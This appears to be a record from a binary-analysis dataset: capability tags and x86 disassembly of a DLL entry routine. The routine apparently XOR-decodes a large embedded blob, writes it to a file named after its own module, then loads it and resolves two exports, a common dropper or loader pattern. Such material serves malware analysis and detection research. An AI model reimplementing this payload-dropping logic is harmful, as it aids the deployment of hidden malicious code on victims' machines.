Function at 0x100017d0
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
sub esp, 0x420
mov eax, dword [0x1001b024]
xor eax, esp
mov dword [esp + 0x41c], eax
mov eax, dword [esp + 0x428]
push esi
mov esi, dword [esp + 0x428]
cmp eax, 1
jne 0x10001adc
mov dword [0x1007bb90], esi
call fcn.10001130
cmp eax, 0x97b1f1e6
je 0x10001aec
push 0x104
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001830
sub eax, edx
test eax, eax
jle 0x10001850
nop dword [eax]
cmp byte [esp + eax + 0x10], 0x5c
je 0x10001aa3
dec eax
test eax, eax
jg 0x10001840
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ecx + 0x100196b4]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x217], al
test al, al
jne 0x10001860
mov byte [esp + 0x218], 0x5f
xor ecx, ecx
nop
mov al, byte [esp + ecx + 0x10]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x31b], al
test al, al
jne 0x10001880
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + ecx + 0x10]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x113], al
test al, al
jne 0x100018a0
mov edx, 0x100196b4
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x100018c0
push edi
lea edi, [esp + 0x320]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100018d2
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x21c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x100018f1
lea edi, [esp + 0x118]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10001902
mov ecx, edx
lea eax, [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x10019660
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.10004286
mov edi, eax
add esp, 8
mov dword [esp + 0x10], edi
test edi, edi
je 0x10001a73
push ebx
mov eax, 3
mov ebx, 1
sub eax, 0x1001b8a0
xor esi, esi
push ebp
mov dword [esp + 0x10], eax
mov ebp, 2
mov edi, dword [esp + 0x10]
mov eax, 4
sub ebx, 0x1001b8a0
sub ebp, 0x1001b8a0
sub eax, 0x1001b8a0
mov dword [esp + 0x14], eax
mov eax, 0xf0f0f0f1
mul esi
mov eax, esi
shr edx, 4
mov ecx, edx
shl ecx, 4
add ecx, edx
sub eax, ecx
lea ecx, [ebx + 0x1001b8a0]
add ecx, esi
movzx eax, byte [eax + str.6a_tl_2idkqq__mv5]
xor byte [esi + 0x1001b8a0], al
mov eax, 0xf0f0f0f1
mul ecx
mov eax, esi
shr edx, 4
mov ecx, edx
shl ecx, 4
add ecx, edx
sub eax, ecx
lea ecx, [ebp + 0x1001b8a0]
add ecx, esi
movzx eax, byte [eax + 0x100196a1]
xor byte [esi + 0x1001b8a1], al
mov eax, 0xf0f0f0f1
mul ecx
mov eax, esi
shr edx, 4
mov ecx, edx
shl ecx, 4
add ecx, edx
sub eax, ecx
lea ecx, [edi + 0x1001b8a0]
add ecx, esi
movzx eax, byte [eax + 0x100196a2]
xor byte [esi + 0x1001b8a2], al
mov eax, 0xf0f0f0f1
mul ecx
mov eax, esi
shr edx, 4
mov ecx, edx
shl ecx, 4
add ecx, edx
sub eax, ecx
movzx eax, byte [eax + 0x100196a3]
xor byte [esi + 0x1001b8a3], al
mov eax, dword [esp + 0x14]
lea ecx, [eax + 0x1001b8a0]
mov eax, 0xf0f0f0f1
add ecx, esi
mul ecx
mov eax, esi
shr edx, 4
mov ecx, edx
shl ecx, 4
add ecx, edx
sub eax, ecx
movzx eax, byte [eax + 0x100196a4]
xor byte [esi + 0x1001b8a4], al
add esi, 5
cmp esi, 0x57800
jb 0x10001975
mov edi, dword [esp + 0x18]
push edi
push 0x57800
push 1
push 0x1001b8a0
call fcn.100048c8
push edi
call fcn.10004313
add esp, 0x14
pop ebp
pop ebx
lea eax, [esp + 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1007bca4], eax
pop edi
test eax, eax
jne 0x10001ab5
pop esi
mov ecx, dword [esp + 0x41c]
xor ecx, esp
call fcn.10001f55
add esp, 0x420
ret 0xc
inc eax
cmp eax, 0x104
jae 0x10001b09
mov byte [esp + eax + 0x10], 0
jmp 0x10001850
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10019664
push eax
call esi
push 0x10019674
push dword [0x1007bca4]
mov dword [0x1007bca8], eax
call esi
mov dword [0x1007bcac], eax
jmp 0x10001aec
test eax, eax
jne 0x10001aec
push dword [0x1007bca4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x420]
mov eax, 1
pop esi
xor ecx, esp
call fcn.10001f55
add esp, 0x420
ret 0xc
call fcn.1000208a
int3